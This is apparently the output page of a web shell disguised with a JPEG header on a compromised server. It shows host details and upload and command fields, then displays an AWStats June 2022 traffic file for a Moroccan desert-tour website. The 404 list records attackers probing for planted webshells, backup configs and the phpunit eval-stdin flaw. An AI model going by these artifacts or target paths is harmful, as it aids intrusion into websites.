ÿØÿà JFIF    ÿþ >CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), default quality ÿÛ C     p!ranha?
Server IP : 104.21.29.46  /  Your IP : 216.73.216.123
Web Server : Apache
System : Linux server1.morocco-tours.com 3.10.0-1127.19.1.el7.x86_64 #1 SMP Tue Aug 25 17:23:54 UTC 2020 x86_64
User : zagoradraa ( 1005)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/zagoradraa/tmp/awstats/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /home/zagoradraa/tmp/awstats/awstats062022.zagora-draa.com.txt
AWSTATS DATA FILE 7.8 (build 20200416)
# If you remove this file, all statistics for date 202206 will be lost/reset.
# Last config file used to build this data file was /home/zagoradraa/tmp/awstats/awstats.zagora-draa.com.conf.

# Position (offset in bytes) in this file for beginning of each section for
# direct I/O access. If you made changes somewhere in this file, you should
# also remove completely the MAP section (AWStats will rewrite it at next
# update).
BEGIN_MAP 28
POS_GENERAL 2014                
POS_TIME 2697                
POS_VISITOR 24957               
POS_DAY 70999               
POS_DOMAIN 3591                
POS_LOGIN 3878                
POS_ROBOT 4033                
POS_WORMS 5363                
POS_EMAILSENDER 5494                
POS_EMAILRECEIVER 5637                
POS_SESSION 71260               
POS_SIDER 71473               
POS_FILETYPES 5772                
POS_DOWNLOADS 6090                
POS_OS 7890                
POS_BROWSER 8325                
POS_SCREENSIZE 10383               
POS_UNKNOWNREFERER 10457               
POS_UNKNOWNREFERERBROWSER 11381               
POS_ORIGIN 12013               
POS_SEREFERRALS 12161               
POS_PAGEREFS 12541               
POS_SEARCHWORDS 13500               
POS_KEYWORDS 13690               
POS_MISC 2360                
POS_ERRORS 13791               
POS_CLUSTER 3734                
POS_SIDER_404 13938               
END_MAP

# LastLine    = Date of last record processed - Last record line number in last log - Last record offset in last log - Last record signature value
# FirstTime   = Date of first visit for history file
# LastTime    = Date of last visit for history file
# LastUpdate  = Date of last update - Nb of parsed records - Nb of parsed old records - Nb of parsed new records - Nb of parsed corrupted - Nb of parsed dropped
# TotalVisits = Number of visits
# TotalUnique = Number of unique visitors
# MonthHostsKnown   = Number of hosts known
# MonthHostsUnKnown = Number of hosts unknown
BEGIN_GENERAL 8
LastLine 20220701000434 536 125311 6779314268106
FirstTime 20220624133900
LastTime 20220630223603
LastUpdate 20220701120642 536 0 535 0 0
TotalVisits 710                 
TotalUnique 318                 
MonthHostsKnown 0                   
MonthHostsUnknown 1631                
END_GENERAL

# Misc ID - Pages - Hits - Bandwidth
BEGIN_MISC 10
AddToFavourites 0 54 0
RealPlayerSupport 0 0 0
DirectorSupport 0 0 0
TotalMisc 0 0 0
JavaEnabled 0 0 0
PDFSupport 0 0 0
FlashSupport 0 0 0
JavascriptDisabled 0 0 0
QuickTimeSupport 0 0 0
WindowsMediaPlayerSupport 0 0 0
END_MISC

# Hour - Pages - Hits - Bandwidth - Not viewed Pages - Not viewed Hits - Not viewed Bandwidth
BEGIN_TIME 24
0 34 36 435665 50 86 1106371
1 34 34 175531 82 143 1690821
2 15 16 91648 34 89 1171849
3 43 54 641871 109 150 1238876
4 11 47 1300950 76 121 1175755
5 59 85 1317911 194 235 787377
6 13 24 819293 49 122 1090210
7 40 90 2021970 133 180 1322840
8 88 541 16062282 93 160 1614578
9 20 67 1694191 52 82 1069010
10 32 144 3364733 66 178 2755764
11 38 119 2210619 71 128 1288324
12 40 199 5420715 52 86 579138
13 85 196 3687420 138 214 1827999
14 25 119 3186563 45 148 1950506
15 18 70 1637153 39 88 1102324
16 39 267 6915323 72 136 690636
17 137 415 9182735 219 291 1732223
18 128 269 5558973 208 246 790486
19 129 359 594348250 99 181 1285088
20 84 168 3233080 263 312 1284102
21 109 187 3017904 74 142 1632367
22 29 117 2914832 48 99 1185314
23 38 99 2394794 41 76 625366
END_TIME

# Domain - Pages - Hits - Bandwidth
# The 25 first Pages must be first (order not required for others)
BEGIN_DOMAIN 4
us 1058 3032 655650538
eu 207 541 11829269
ca 21 120 3274528
sc 2 29 880071
END_DOMAIN

# Cluster ID - Pages - Hits - Bandwidth
BEGIN_CLUSTER 0
END_CLUSTER

# Login - Pages - Hits - Bandwidth - Last visit
# The 10 first Pages must be first (order not required for others)
BEGIN_LOGIN 0
END_LOGIN

# Robot ID - Hits - Bandwidth - Last visit - Hits on robots.txt
# The 25 first Hits must be first (order not required for others)
BEGIN_ROBOT 30
bingbot/ 438 13728148 20220630152227 8
Googlebot/ 248 2209915 20220630235910 49
AhrefsBot/ 142 2316456 20220630214411 16
AdsBot\-Google[\x20]\( 138 1575311 20220630112326 9
Pinterestbot 113 2199128 20220630194529 4
BLEXBot/ 83 714469 20220630131356 3
zoominfobot 70 1361582 20220629085502 3
MegaIndex\.ru/ 63 542982 20220628204738 0
Sogou[\x20]web[\x20]spider/ 59 632448 20220630114908 0
SemrushBot/ 55 265436 20220630223923 22
Applebot/ 52 445626 20220630235228 5
bot[\s_+:,\.\;\/\\-] 47 467344 20220630233010 10
Apache\-HttpClient/ 42 447676 20220626042723 0
YisouSpider 35 336525 20220629190052 0
seek 33 883680 20220628202147 2
YandexBot/ 26 150458 20220630102651 14
bingpreview 23 820779 20220630101543 0
MJ12bot/ 21 159510 20220630024757 5
unknown 14 150 20220630193618 14
Googlebot\-Image/ 13 513914 20220630224633 0
facebookexternalhit/ 7 75568 20220630060227 0
DuckDuckGo\-Favicons\-Bot/ 6 64522 20220630104250 0
CFNetwork 5 54020 20220630060230 0
MojeekBot 4 45 20220629195817 4
Dalvik/ 3 32392 20220629213123 0
Barkrowler 2 0 20220626231516 2
Lightspeed 2 21306 20220626033624 0
Go\-http\-client/ 2 21457 20220630061710 0
360Spider 2 21370 20220630010836 0
DotBot/ 2 0 20220630022120 2
END_ROBOT

# Worm ID - Hits - Bandwidth - Last visit
# The 5 first Hits must be first (order not required for others)
BEGIN_WORMS 0
END_WORMS

# EMail - Hits - Bandwidth - Last visit
# The 20 first Hits must be first (order not required for others)
BEGIN_EMAILSENDER 0
END_EMAILSENDER

# EMail - Hits - Bandwidth - Last visit
# The 20 first hits must be first (order not required for others)
BEGIN_EMAILRECEIVER 0
END_EMAILRECEIVER

# Files type - Hits - Bandwidth - Bandwidth without compression - Bandwidth after compression
BEGIN_FILETYPES 13
zip 2 585686444 0 0
webp 1473 62105479 0 0
woff 5 357525 0 0
png 2 24604 0 0
css 420 2631781 0 0
woff2 56 3179512 0 0
jpeg 98 1545312 0 0
js 366 4895792 0 0
php 3 13794 0 0
jpg 49 1716834 0 0
html 643 6743266 0 0
txt 24 1536 0 0
Unknown 581 2732527 0 0
END_FILETYPES

# Downloads - Hits - Bandwidth
BEGIN_DOWNLOADS 25
/app.zip 2 0 585686444
/.well-known/pki-validation/368E049365F4E1054D38F29AFFE6B572.txt 1 0 64
/.well-known/pki-validation/1F9A35AE5E8E1D0B37281EFC4D56E139.txt 1 0 64
/.well-known/pki-validation/EA41FCDC1C4C0F8898BD9F327214AC3A.txt 1 0 64
/.well-known/pki-validation/07FC863C7E5E659B8A3AFD26A9806FDE.txt 1 0 64
/.well-known/pki-validation/EC631372873CFF0DFE7FA53B825AE35F.txt 1 0 64
/.well-known/pki-validation/D29A910F9E42AA247D758242C503A058.txt 1 0 64
/.well-known/pki-validation/D78D862E726017F4D9A74A30B6966BDC.txt 1 0 64
/.well-known/pki-validation/4E09BEF66D8C81207AD1547C4807F713.txt 1 0 64
/.well-known/pki-validation/B5771A89646290BE5E7E5D3BBC9B05F0.txt 1 0 64
/.well-known/pki-validation/0DA52C9D58C3630A681C01AC7EE5254D.txt 1 0 64
/.well-known/pki-validation/9011E149CADE5E7152A1A71FC7775FE3.txt 1 0 64
/.well-known/pki-validation/40CF8234473A1DD05C2BBE30C1C84A41.txt 1 0 64
/.well-known/pki-validation/0849B24D0B9B0E4BB22C115AB69B1A7B.txt 1 0 64
/.well-known/pki-validation/58D51099335236C8F629116DF07109A3.txt 1 0 64
/.well-known/pki-validation/279E2D31002F5E57071F8DDCAFAC6F87.txt 1 0 64
/.well-known/pki-validation/89B97A80E1D3B7774BAD7EC60FC3B6D5.txt 1 0 64
/.well-known/pki-validation/C648DEDC7EA51693EFC1FB243E10A85D.txt 1 0 64
/.well-known/pki-validation/E3927ED03F38B40DF16DF5A392F7A463.txt 1 0 64
/.well-known/pki-validation/19F7597B892F5B40A6E2F4A32E49E647.txt 1 0 64
/.well-known/pki-validation/D89D32447D01AD091679AD452989BA61.txt 1 0 64
/.well-known/pki-validation/6848D8A5AB724384DCBE9559206AB046.txt 1 0 64
/.well-known/pki-validation/2729715DB249BED985F096EB0AD08A81.txt 1 0 64
/.well-known/pki-validation/89A4616DC415F6197988920497D6560A.txt 1 0 64
/.well-known/pki-validation/7E405C4C8105A9A3D9E96131C2B84AC4.txt 1 0 64
END_DOWNLOADS

# OS ID - Hits
BEGIN_OS ID - Hits - Pages 24
macosx12 9 8
win7 193 100
androidnougat 8 8
linux 43 8
macosx11 2 2
androidkitkat 2 2
androidoreo 1 0
androidpie 49 10
android 405 98
macosx15 103 35
ios_iphone 620 116
Unknown 127 88
macosx13 10 6
winlong 2 2
macosx14 25 1
android10 36 18
macosx10 68 68
win8.1 39 31
win8 56 15
win10 1842 654
androidmarshmallow 62 11
androidlollipop 2 2
linuxubuntu 1 1
ios_ipad 17 4
END_OS

# Browser ID - Hits - Pages
BEGIN_BROWSER 95
firefox101.0 4 3
chrome84.0.4147.89 1 1
chrome90.0.4400.8 12 12
chrome101.0.4951.64 15 5
chrome78.0.3904.62 2 2
chrome85.0.4183.83 1 1
firefox24.0 1 1
safari14.0.1 1 1
chrome92.0.4515.159 1 1
chrome84.0.4147.125 3 3
firefox63.0 113 16
chrome89.0.4389.116 1 1
safari15.3 3 2
chrome90.0.4430.72 61 61
chrome101.0.0.0 5 2
firefox52.0 84 84
chrome96.0.4664.45 27 1
chrome66.0.3359.139 2 2
safari14.0.2 1 0
safari15.1 1 1
chrome65.0.3325.181 3 3
firefox84.0 2 2
chrome72.0.3626.121 1 1
chrome99.0.4844.84 1 1
chrome79.0.3945.88 6 6
firefox13.0 14 14
chrome60.0.3112.107 8 8
safari13.0.3 79 16
safari13.1.2 1 1
chrome99.0.4844.51 38 6
firefox96 6 6
chrome90.0.4430.232 30 4
safari15.5 361 77
chrome90.0.4430.93 37 37
chrome96.0.4664.55 1 1
chrome58.0.1145.75 2 2
chrome83.0.4103.97 1 1
firefox102.0 8 4
chrome80.0.3987.99 1 0
edge12 1 1
chrome42.0.2311.90 69 69
firefox59.0 1 1
chrome45.0.2454.94 1 1
chrome63.0.3239.132 3 3
chrome72.0.3626.109 5 5
chrome90.0.4430.85 103 103
chrome96.0.4664.104 22 9
chrome61.0.3163.79 9 0
chrome87.0.4280.141 1 0
chrome90.0.4427.0 10 10
chrome102.0.5005.115 3 0
chrome83.0.4103.34 3 3
safari15.4 48 9
safari14.1.2 96 9
safari14.0.3 27 2
chrome80.0.3987.162 10 3
chrome66.0.3359.117 5 5
android 3 2
Unknown 66 42
msie9.0 8 8
chrome70.0.3538.102 141 20
chrome100.0.4896.127 27 1
chrome103.0.5060.66 1 0
chrome102.0.5005.61 1 1
chrome83.0.4103.61 7 7
firefox88.0 4 4
chrome95.0.4638.69 21 2
opera54.0.2952.54 3 3
chrome59.0.3071.115 1 1
chrome102.0.5005.124 62 6
firefox57.0 27 2
chrome79.0.3945.136 1 1
chrome83.0.4100.3 3 3
chrome63.0.3239.0 14 0
safari14.1.1 1 1
chrome79.0.3945.79 5 2
chrome51.0.2704.84 1 1
chrome102.0.5005.125 57 7
safari 128 20
chrome84.0.4147.105 2 2
edge17 153 20
chrome47.0.2526.106 1 1
firefox97.0 1 0
mozilla 67 48
opera87.0.4390.58 1 0
chrome30.0.1599.66 1 1
firefox77.0 4 4
chrome103.0.5060.53 119 17
firefox60.0 7 7
safari13.1 1 1
chrome83.0.4103.14 3 3
chrome102.0.0.0 734 195
chrome67.0.3396.87 4 4
chrome103.0.0.0 682 224
chrome91.0.4472.114 4 4
END_BROWSER

# Screen size - Hits
BEGIN_SCREENSIZE 0
END_SCREENSIZE

# Unknown referer OS - Last visit date
BEGIN_UNKNOWNREFERER 12
Mozilla/5.0_(compatible;_Google-Site-Verification/1.0) 20220627195117
Mozilla/5.0_(compatible;_Yeti/1.1;__http://naver.me/spd) 20220627180858
Expanse,_a_Palo_Alto_Networks_company,_searches_across_the_global_IPv4_space_multiple_times_per_day_to_identify_customers'_presences_on_the_Internet._If_you_would_like_to_be_excluded_from_our_scans,_please_send_IP_addresses/domains_to:_scaninfo@paloaltonetworks.com 20220628172731
Mozilla/5.0_(compatible;_Dataprovider.com) 20220630193743
aria2/1.36.0 20220628111920
python-requests/2.27.1 20220630073424
COMODO_DCV 20220630210808
Mozilla/5.0_(compatible;_CensysInspect/1.1;__https://about.censys.io/) 20220626182648
ZaldamoSearchBot(www.zaldamo.com/search.html) 20220630143739
WhatsApp/2.22.12.80_A 20220627222026
WhatsApp/2.22.13.76_A 20220630185606
python-requests/2.26.0 20220628233259
END_UNKNOWNREFERER

# Unknown referer Browser - Last visit date
BEGIN_UNKNOWNREFERERBROWSER 8
python-requests/2.27.1 20220630073424
COMODO_DCV 20220630210808
ZaldamoSearchBot(www.zaldamo.com/search.html) 20220630143739
WhatsApp/2.22.12.80_A 20220627222026
Expanse,_a_Palo_Alto_Networks_company,_searches_across_the_global_IPv4_space_multiple_times_per_day_to_identify_customers'_presences_on_the_Internet._If_you_would_like_to_be_excluded_from_our_scans,_please_send_IP_addresses/domains_to:_scaninfo@paloaltonetworks.com 20220628172731
WhatsApp/2.22.13.76_A 20220630185606
python-requests/2.26.0 20220628233259
aria2/1.36.0 20220628111920
END_UNKNOWNREFERERBROWSER

# Origin - Pages - Hits 
BEGIN_ORIGIN 6
From0 425 495
From1 57 57
From2 227 307
From3 12 111
From4 567 2752
From5 0 0
END_ORIGIN

# Search engine referers ID - Pages - Hits
BEGIN_SEREFERRALS 13
www_bing_com 5 5
www_google_com_hk 1 1
search 4 4
r_search_yahoo_com 1 1
www_google_ch 1 3
www_google_com 164 232
www_google_co_ma 0 1
google_com 1 3
www_google_ca 5 6
www_google_nl 0 1
ecosia 4 4
www_google_fr 39 43
www_google_be 2 3
END_SEREFERRALS

# External page referers - Pages - Hits
# The 25 first Pages must be first (order not required for others)
BEGIN_PAGEREFS 15
http://www.morocco-tours.com/za/web/ 3 29
http://www.morocco-tours.com/za/web/front/assets/css/font-awesome.min.css 1 1
http://www.morocco-tours.com/za/web/circuits-maroc-pas-cher 1 8
http://172.67.171.101:80 1 1
http://www.morocco-tours.com/front/assets/css/font-awesome.min.css 1 1
http://104.21.29.46:80 1 1
http://www.morocco-tours.com/za/web/circuits-excursions/depart-marrakech 1 13
https://66.29.133.98:2083 1 1
http://www.morocco-tours.com 1 27
http://www.morocco-tours.com/za/web/contact 1 1
http://www.morocco-tours.com/circuits-maroc-pas-cher 0 7
http://www.morocco-tours.com/za/web/circuit-sud-marocain-une-semaine.html 0 8
http://www.morocco-tours.com/za/web/circuit-desert-depart-marrakech.html 0 9
http://www.morocco-tours.com/za/web/trek-randonnee-desert-maroc 0 2
http://morocco-tours.com 0 2
END_PAGEREFS

# Search keyphrases - Number of search
# The 10 first number of search must be first (order not required for others)
BEGIN_SEARCHWORDS 2
mtb_hty.top 3
bivouac+desert+zagora 1
END_SEARCHWORDS

# Search keywords - Number of search
# The 25 first number of search must be first (order not required for others)
BEGIN_KEYWORDS 4
mtb_hty.top 3
zagora 1
desert 1
bivouac 1
END_KEYWORDS

# Errors - Hits - Bandwidth
BEGIN_ERRORS 5
404 601 385531
302 373 64590
500 118 106297
301 788 199401
206 7 70801
END_ERRORS

# URL with 404 errors - Hits - Last URL referrer
BEGIN_SIDER_404 184
/wp-content/uploads/2018/02/vall%C3%A9e-Draa-2.jpg 2 -
/blog/decouvrir-sud-maroc-desert/front/assets/js/owl.carousel.min.js 2 http://www.zagora-draa.com
/wp-admin/include.php 1 zagora-draa.com
/ouarzazate%E2%80%93erg-lihoudi/ 2 -
/wp-content/wp-1ogin_bak.php 2 anonymousfox.co
/gallery/plantes-nature-4/ 1 -
/assets/global/plugins/jQuery-File-Upload/server/php/ 1 -
/assets/jquery-file-upload/server/php/ 1 -
/front/assets/js/bootstrap.min.js.map 81 -
/blog/wp-content/plugins/wpyii2/wpyii2.php 1 -
/alfacgiapi/perl.alfa 2 www.google.com
/wp-content/plugins/fancy-product-designer/inc/custom-image-handler.php 2 anonymousfox.co
/en/web/admin/img/logo.png 1 https://www.zagora-draa.com/en/web/admin/tour_liste
/front/assets/css/grabbing.png 1 https://www.zagora-draa.com/front/assets/css/owl.carousel.css
/en/web/admin/js/admin.js 1 https://www.zagora-draa.com/en/web/admin/tour_liste
/wordpress/wp-includes/wp-class.php 3 www.google.com
/wp-content/wp-old-index.php 2 anonymousfox.co
/wp-content/uploads/2018/02/Voyage-Saint-Sylvestre-360x240.jpg 2 -
/admin/assets/plugins/jQuery-File-Upload/server/php/ 1 -
/wp-content/uploads/2018/01/Rabat-720x480.jpg 1 -
/wp-content/uploads/2018/02/Reveillon-au-Maroc-360x240.jpg 1 -
/.well-known/traffic-advice 4 -
/wp-content/uploads/2018/02/d%C3%A9sert-Sahara-2.jpg 2 -
/wp-includes/config.bak.php 2 anonymousfox.co
/gallery/ville-zagora-4-2/ 1 -
/wp-content/themes/classic/inc/index.php 1 zagora-draa.com
/wp-content/uploads/2018/02/ERG-CHIGAGA-1-180x120.jpg 1 -
/wp-content/langar.php 2 anonymousfox.co
/wp-content/plugins/wpdiscuz/themes/default/style-rtl.css 2 anonymousfox.co
/wp-content/uploads/2018/01/Kelaa-MGouna-600x344.jpg 1 -
/wp-admin/tool.php 1 zagora-draa.com
/wp-includes/images/wp-blog.php 1 -
/wp-content/uploads/2018/08/excursion-d%C3%A9sert-Maroc-960x530.jpg 1 -
/en/web/admin/js/editor/summernote-bs4.css 1 https://www.zagora-draa.com/en/web/admin/tour_liste
/blog/decouvrir-sud-maroc-desert/front/assets/js/custom.js 2 http://www.zagora-draa.com
/wp-includes/css/css.php 3 anonymousfox.co
/en/web/admin/vendor/chart.js/Chart.min.js 1 https://www.zagora-draa.com/en/web/admin/tour_liste
/front/assets/css/bootstrap.css.map 79 -
/wp-content/ 2 -
/en/web/admin/vendor/dropzone.js 1 https://www.zagora-draa.com/en/web/admin/tour_liste
/wp-content/themes/config.bak.php 2 anonymousfox.co
/admin/assets/plugins/jquery-file-upload/server/php/ 1 -
/wp-content/uploads/2018/02/d%C3%A9sert-Sahara-3.jpg 2 -
/wp-content/uploads/2018/01/Voyage-reveillon-Maroc-531x354.jpg 1 -
/wp-content/uploads/2018/01/Voyage-reveillon-Maroc.jpg 3 https://www.google.com/
/wp-content/plugins/backup_index.php 2 anonymousfox.co
/zagora/ 1 -
/plugins/jquery-file-upload/server/php/ 1 -
/site/wp-content/plugins/dos2unix/dos2unix.php 1 -
/wp-content/uploads/2018/01/Mhamid-720x480.jpg 1 -
/en/web/admin/vendor/datatables/dataTables.bootstrap4.css 1 https://www.zagora-draa.com/en/web/admin/tour_liste
/blog/decouvrir-sud-maroc-desert/front/assets/js/jquery-1.11.0.min.js 2 http://www.zagora-draa.com
/wordpress/wp-class.php 3 www.google.com
/en/web/admin/vendor/bootstrap/css/bootstrap.min.css 1 https://www.zagora-draa.com/en/web/admin/tour_liste
/wp-admin/includes/class-wp-media-list-data.php 1 -
/images/imag/19.jpg 1 -
/wp-content/index.php 3 www.google.com
/wp-content/uploads/2018/02/d%C3%A9sert-Sahara-1.jpg 2 -
/wp-content/uploads/2018/01/nkob-180x120.jpg 1 -
/en/web/admin/css/custom.css 1 https://www.zagora-draa.com/en/web/admin/tour_liste
/wp-content/uploads/2018/02/vall%C3%A9e-Draa-3.jpg 2 -
/en/web/admin/vendor/font-awesome/css/font-awesome.min.css 1 https://www.zagora-draa.com/en/web/admin/tour_liste
/wp-includes/alfacgiapi/perl.alfa 1 -
/.well-known/ALFA_DATA/alfacgiapi/perl.alfa 1 -
/front/assets/css/bootstrap.css. 1 -
/wp-content/plugins/page-flip-image-gallery/upload.php 1 -
/ALFA_DATA/alfacgiapi/perl.alfa 2 www.google.com
/wp-content/plugins/t_file_wp/t_file_wp.php 2 anonymousfox.co
/blog/wp-content/plugins/dos2unix/dos2unix.php 1 -
/en/web/admin/vendor/jquery/jquery.min.js 1 https://www.zagora-draa.com/en/web/admin/tour_liste
/wp-content/uploads/2018/02/vall%C3%A9e-Draa-4.jpg 2 -
/gallery/vallee-draa-2/ 1 -
/wp-content/config.bak.php 2 anonymousfox.co
/upload/tour/Tamegroute%20-%20poteries%20vertes%20du%20d%c3%a9sert.webp 1 -
/ait-benhaddou/ 1 -
/upload/tour/La-d%C3%A9couverte-des-dunes.webp 5 https://www.zagora-draa.com/randonnee-chameau-mhamid.html
/wordpress/wp-content/plugins/wpyii2/wpyii2.php 1 -
/streaming/clients_live.php 6 -
/wp-includes/wp-class.php 3 www.google.com
/wp-content/db_cache.php 2 anonymousfox.co
/robots.txt 1 -
/la-petite-kasbah/en_general.php 1 -
/wp-content/uploads/2018/10/comment-habiller-pour-circuit-dans-desert-marocain.jpg 1 https://www.google.com/
/sites/default/files/ 2 binance.com
/wp-content/uploads/2018/01/OASIS-DE-TELOUET-720x480.jpg 1 -
/wp-content/uploads/2018/01/Ouarzazate-531x354.jpg 1 -
/images/logo.gif 1 -
/policies/privacy-policy 1 -
/upload/tour/excursion%20desert%20zagora%20-%20cols%20d%E2%80%99Anagam.webp 3 https://www.zagora-draa.com/excursion-zagora-bivouac-desert.html
/wp-content/uploads/2018/02/Voyage-Saint-Sylvestre-270x180.jpg 1 -
/files/ 2 binance.com
/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 7 anonymousfox.co
/wp-content/uploads/2018/01/Dunes-NAKHLA-270x180.jpg 1 -
/wp-content/plugins/ubh/up.php 2 anonymousfox.co
/en/web/admin/vendor/datatables/jquery.dataTables.js 1 https://www.zagora-draa.com/en/web/admin/tour_liste
/assets/plugins/jquery-fileupload/server/php/ 1 -
/wp-content/cache.php 1 zagora-draa.com
/stalker_portal/c/version.js 6 -
/stream/live.php 6 -
/utility/convert/data/config.inc.php 2 http://www.zagora-draa.com/utility/convert/data/config.inc.php
/wp-content/uploads/2018/01/Poterie-Tamgroute-960x530.jpg 1 https://www.google.fr/
/wp-admin/alfacgiapi/perl.alfa 1 -
/lapalmeraie/photos.html 1 -
/wp-includes/css/wp-atom.php 1 -
/en/web/admin/css/date_picker.css 1 https://www.zagora-draa.com/en/web/admin/tour_liste
/upload/tour/Bivouaquer-et-repas-en-plein-d%C3%A9sert.webp 43 https://www.zagora-draa.com/bivouac-desert-maroc
/wp-includes/lfx.php 2 anonymousfox.co
/wp-content/plugins/dos2unix/dos2unix.php 1 -
/wp-includes/wpconfig.bak.php 2 anonymousfox.co
/upload/tour/La-d%c3%a9couverte-des-dunes.webp 1 -
/wp-includes/css/wp.php 1 -
/c/version.js 6 -
/site/wp-class.php 3 www.google.com
/en/web/admin/css/admin.css 1 https://www.zagora-draa.com/en/web/admin/tour_liste
/en/web/admin/vendor/jquery.selectbox-0.2.js 1 https://www.zagora-draa.com/en/web/admin/tour_liste
/upload/tour/Tamegroute%20-%20poteries%20vertes%20du%20d%C3%A9sert.webp 7 https://www.zagora-draa.com/excursion-zagora-bivouac-mhamid.html
/wp-content/uploads/2018/01/Ouarzazate.jpg 1 -
/images/ 2 binance.com
/randonnee-chameau-mhamid.html/ 2 -
/wp-content/mu-plugins/db-safe-mode.php 2 anonymousfox.co
/wp-admin/admin-ajax.php 2 -
/wp-content/uploads/2018/01/Trekking-Desert-Marocain.jpg 1 -
/en/web/admin/vendor/bootstrap/js/bootstrap.bundle.min.js 1 https://www.zagora-draa.com/en/web/admin/tour_liste
/assets/plugins/jquery-file-upload/server/php/ 1 -
/assets/admin/plugins/jquery-file-upload/server/php/ 1 -
/en/web/admin/vendor/datatables/dataTables.bootstrap4.js 1 https://www.zagora-draa.com/en/web/admin/tour_liste
/en/web/admin/tour_liste 1 https://www.zagora-draa.com/en/web/admin/
/wp-content/uploads/2018/02/ERG-LIHOUDI-360x240.jpg 1 -
/wp-content/plugins/wpconfig.bak.php 2 anonymousfox.co
/en/web/admin/vendor/jquery-easing/jquery.easing.min.js 1 https://www.zagora-draa.com/en/web/admin/tour_liste
/blog/decouvrir-sud-maroc-desert/front/assets/js/slick.js 2 http://www.zagora-draa.com
/wp-includes/small.php 2 anonymousfox.co
/excursion-zagora-bivouac-desert.html/ 1 -
/lapalmeraie/hotel-la-palmeraie.html 1 -
/.well-known/apple-app-site-association 2 -
/wp-content/uploads/2018/01/Geographie_Zagora-180x120.jpg 1 -
/en/web/admin/vendor/retina-replace.min.js 1 https://www.zagora-draa.com/en/web/admin/tour_liste
/wp-content/uploads/2018/01/vallee-du-draa.jpg 1 -
/upload/tour/Trek%20%C3%A0%20dos%20de%20dromadaire%20sud%20Zagora.webp 41 https://www.zagora-draa.com/bivouac-desert-maroc
/assets/global/plugins/jquery-file-upload/server/php/ 1 -
/wp-content/plugins/ioptimization/IOptimize.php 2 anonymousfox.co
/images/alfacgiapi/perl.alfa 1 -
/wp-content/plugins/wpyii2/wpyii2.php 1 -
/en/web/admin/js/rowsorter.js 1 https://www.zagora-draa.com/en/web/admin/tour_liste
/wp-includes/js/plupload/plupload.php 1 zagora-draa.com
/feed/ 1 http://www.zagora-draa.com/feed/
/wp-content/uploads/2018/02/vall%C3%A9e-Draa-1.jpg 2 -
/wp-admin/css/ 2 binance.com
/assets/plugins/jQuery-File-Upload/server/php/ 1 -
/uploads/ 2 binance.com
/wp-includes/css/xm.php 1 -
/en/web/admin/js/editor/summernote-bs4.min.js 1 https://www.zagora-draa.com/en/web/admin/tour_liste
/wp-content/uploads/2018/02/d%C3%A9sert-Sahara-4.jpg 2 -
/la-petite-kasbah/riad-la-petite-kasbah-zagora.htm 1 -
/.well-known/ 2 binance.com
/blog/decouvrir-sud-maroc-desert/front/assets/js/sliderpro.min.js 2 http://www.zagora-draa.com
/wp-admin/config.bak.php 2 anonymousfox.co
/wp-content/plugins/complete-gallery-manager/frames/upload-images.php 1 -
/wp/wp-includes/wp-class.php 3 www.google.com
/en/web/admin/vendor/dropzone.css 1 https://www.zagora-draa.com/en/web/admin/tour_liste
/wp-includes/fonts/css.php 2 anonymousfox.co
/wp-content/themes/twentythree/inc/index.php 1 zagora-draa.com
/voyages-au-maroc-circuits-maroc/marrakech-vers-le-desert-marocain.html 4 -
/wp-content/uploads/2015/07/Kalaa-MGouna-720x480.jpg 1 -
/blog/decouvrir-sud-maroc-desert/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js 2 http://www.zagora-draa.com
/za/ 29 -
/blog/decouvrir-sud-maroc-desert/front/assets/js/wow.animation.js 2 http://www.zagora-draa.com
/wp-content/alfacgiapi/perl.alfa 1 -
/site/wp-content/plugins/wpyii2/wpyii2.php 1 -
/contact/ 32 https://www.zagora-draa.com/contact/
/en/web/admin/vendor/bootstrap-datepicker.js 1 https://www.zagora-draa.com/en/web/admin/tour_liste
